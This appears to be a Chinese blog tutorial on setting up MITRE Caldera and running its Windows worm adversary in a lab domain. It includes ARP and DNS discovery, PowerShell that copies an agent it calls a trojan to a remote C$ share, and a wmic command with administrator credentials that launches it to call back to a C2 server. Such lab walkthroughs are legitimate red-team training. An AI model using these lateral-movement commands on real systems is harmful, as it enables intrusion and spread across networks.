又名“火山口”,是一款攻防自动化对抗框架。就不多介绍了,网上有很多介绍的文章,接下来从安装开始。
包含一些我踩过的坑以及注意事项。注意:不支持windows。
官方github地址:https://github.com/mitre/caldera
需要golang环境和python环境。python版本尽量3.7,高版本容易报错。
语言环境弄好之后,按照其说明进行安装:
git clone https://github.com/mitre/caldera.git --recursive
cd caldera
pip3 install -r requirements.txt
python3 server.py --insecure
(向右滑动、查看更多)
注意:这里的--recursive
一定不能丢,意思是递归下载,会下载重要的插件,否则到时候会报错。
最后一条命令python3 server.py --insecure
不加后面的参数也行。还有一点要注意,下载完之后,可能有一些文件会被杀软干掉,如果有这种情况,注意把他们复原。
开始安装:
还要安装upx,官方地址:
https://upx.github.io/
很简单,直接解压再加进环境变量即可。
首次启动可能会失败,直接卡在插件那里,等几分钟再重启就ok了 (原因不明),启动之后 访问localhost:8888
成功说明成功启动。
在成功启动后,会在conf/
下生成一个local/yml
文件,是配置文件。里面的内容基本 不用动,拉到最下面有一个 users 的选项,里面有blue
和red
两个用户,后面是密码,修改即可。
再回到localhost:8888
或者ip:8888
,这里默认绑定0.0.0.0
,使用red
用户登录。
登录进来之后,看左边导航:
类似CS的Agent机器上线步骤:
1.点击Deploy an agent。
这里我们选择Sandcat
即默认agent。
2.选择操作系统,即要上线机器的操作系统,点击不同的操作系统,会给出不同的payload,然后在目标机器上执行即可上线。
需要更改的地方只有这个app.contact.http这里的ip,把它改为启动caldera
机器的IP即可。
上线命令也给出了很多,我们都选第一个即可,即红队默认agent。
最后到需要上线的机器执行命令,回到导航,点击agent,可以看到上线机器。
指的是在可以在agent上执行的操作,每一个ability都是TTP上的一个步骤。
可以进行搜索筛选,点击可以查看、编辑某一个ability。
选择TTPs链,caldera提供了一些TTPs来供我们学习研究。
当然,也可以自定义。
点击 create operation,选择一个adversary即可。
其余选项不用动,点击start则会在已上线的机器上执行Adversary。
这里先不涉及到。
这里我们拿windows蠕虫来实操一下。
可以看到很多abilities,等下使用operation运行的时候则会自动按照这个顺序运行,后面会详细说到每一个步骤。
win2012(已上线) 172.29.2.215
win2016(AD) 172.29.3.66
域:worm.lab
域管账号密码:
administrator
win2012本地管理员账户密码:
administrator
我这里要上线win2012,点击导航栏agent,再点击Deploy an agent。
再按照前面说的,选择sandcat agent再选择平台,改ip再复制payload。
到win2012上powershell执行复制的payload,成功上线。
接下来就是operation,真正运行了,点击create operation,名字随意起,选择windows worm#1,点击start就开始了。
接下来我会详细说每一个步骤的过程,及踩到的坑。
很简单,直接用命令arp -a进行信息收集,保存ip信息
会保存所有IP,为下一步做准备。
这里有个干扰,如果多台机器上线,都会执行此操作,但是它只取一台机器的结果,关掉无关机器即可,还有一个编码问题,导致无法解析结果。我直接把系统语言换成英文即可。
可以看到它是根据上一步收集到的IP一个一个进行DNS记录查询,使用的是nslookup命令。
这里有个问题,发现所有结果都是unknow,我到机器上执行也一样。如果结果全是unknow,导致下一步无法执行。
解决方法:它的目的应该是想通过IP找到域名,那么我到AD上进行配置PTR记录即可。
现在可以成功解析:
此处保存了fqdn,即输出结果的Server
查看远程共享,使用了net view命令,使用了上一部保存的fqdn,执行的命令:
net view \\win2016.worm.lab /all
使用net view命令时,如果是本地账户,会自动使用当前缓存的密码进行NTLM认证,域内账户则会使用Kerberos认证。这些是new view命令内部做的事情,不做深入探究,这一步骤会保存fqdn,后面会用到。
给出的命令:
$path = "sandcat.go-windows";
$drive = "\\#{remote.host.fqdn}\C$";
Copy-Item -v -Path $path -Destination $drive"\Users\Public\s4ndc4t.exe";
(向右滑动、查看更多)
这一步首先把sandcat.go-windows
木马文件上传到已上线机器,再尝试复制木马文件到远程共享目录(fqdn,上一步保存的结果),会使用自身缓存的密码和Administrator进行连接。所以只有密码相同的机器才能成功,为了实验成功,我们两台机器的密码设为一样。
最终执行的命令:
$path = "sandcat.go-windows";
$drive = "\\win2016.worm.lab\C$";
Copy-Item -v -Path $path -Destination $drive"\Users\Public\s4ndc4t.exe";
(向右滑动、查看更多)
前提条件:
知道fqdn即可 (即上一步的保存结果)
开启了SMB服务(默认开启)
这一步执行上传的文件,第四步之后就卡住了,只能手动添加这一步。(因该是参数不够的原因)
首先到Adversaries界面查看第五步骤的名字,并复制。
再回到operation界面右下角,有一个Potential Link按钮,点击它。
**注意:**这里如果有弹出红色框框报错,直接重启caldera就好
先选择Excutor,选择PS(即Powershell),再到搜索框输入刚刚复制的Abilitity 名字,并找到相应结果。
框框里面就是接下来需要执行的命令,#{...}
格式的是变量,这一步我们只需要修改前面三个变量,其余的会自动补充。
这里第一个变量,我们也可以点击上面的 remote.host.fqdn选择一个,我们就不用手动修改这个变量了。
给出的原始命令:
$node = '''#{remote.host.fqdn}''';
$user = '''#{domain.user.name}''';
$password = '''#{domain.user.password}''';
wmic /node:$node /user:$user /password:$password process call create "powershell.exe C:\Users\Public\s4ndc4t.exe -server #{server} -group #{group}";
(向右滑动、查看更多)
前提条件:需要 FQDN、用户名、密码
FQDN:win2016.worm.lab
用户名:administrator
其余的变量会自动填充
最终执行的命令:
$node = '''win2016.worm.lab''';
$user = '''administrator''';
$password = '''[email protected]#''';
wmic /node:$node /user:$user /password:$password process call create "powershell.exe C:\Users\Public\s4ndc4t.exe -server http://172.29.2.129:8888 -group red";
(向右滑动、查看更多)
成功上线另一台机器:
再到已经上线了的机器上执行arp -a 命令。
精彩推荐